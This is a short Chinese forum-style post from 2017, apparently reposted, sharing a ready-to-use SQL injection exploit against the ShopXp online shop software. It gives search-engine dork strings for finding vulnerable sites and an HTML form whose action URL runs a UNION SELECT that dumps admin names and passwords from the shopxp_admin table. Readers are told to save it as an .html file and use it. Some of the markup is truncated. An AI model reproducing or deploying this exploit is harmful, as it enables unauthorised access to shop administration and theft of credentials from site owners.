作者:FM向前 | 来源:互联网 | 2017-11-11 19:16
局限性很大,也是后台某个文件没做过滤。所以啊,很多站改了后台,所以也没用。EXP:!--ShopXp_Oday--!--inurl:xpCatalog_xpDesc.asp?action_key_orderOrinurl:shopxp_news.asp--formactionhttp:127.0.0.1adminpinglun.asp?id1%20and%201
局限性很大,也是后台某个文件没做过滤。
所以啊,很多站改了后台,所以也没用。
EXP:
rm action="http://127.0.0.1/admin/pinglun.asp?id=1%20and%201=2%20union%20select%201,password,password,admin,admin,password,password,password,password,password,password%20from%20shopxp_admin" method="post" >
复制,粘贴,保存为.html文件